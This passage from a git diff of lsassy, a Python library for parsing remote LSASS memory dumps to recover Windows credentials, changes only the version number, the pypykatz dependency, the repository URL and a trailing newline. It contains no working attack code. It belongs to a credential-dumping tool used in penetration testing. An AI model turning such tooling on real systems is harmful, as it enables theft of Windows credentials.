lsass was not dumped successfully') @@ -163,4 +164,4 @@ try: job.terminate() except Exception as e: - pass \ No newline at end of file + pass diff --git a/requirements.txt b/requirements.txt index 27be7e7..6b2cfcf 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,3 +1,3 @@ impacket netaddr -pypykatz>=0.3.0 +pypykatz>=0.4.3 diff --git a/setup.py b/setup.py index e55b529..e678f28 100644 --- a/setup.py +++ b/setup.py @@ -13,7 +13,7 @@ setup( name="lsassy", - version="2.1.2", + version="2.1.5", author="Pixis", author_email="hackndo@gmail.com", description="Python library to parse remote lsass dumps", @@ -21,13 +21,13 @@ long_description_content_type="text/markdown", packages=find_packages(exclude=["assets", "cme"]), include_package_data=True, - url="https://github.com/hackanddo/lsassy", + url="https://github.com/Hackndo/lsassy/", zip_safe = True, license="MIT", install_requires=[ 'impacket', 'netaddr', - 'pypykatz>=0.3.0' + 'pypykatz>=0.4.3' ], python_requires='>=3.6', classifiers=(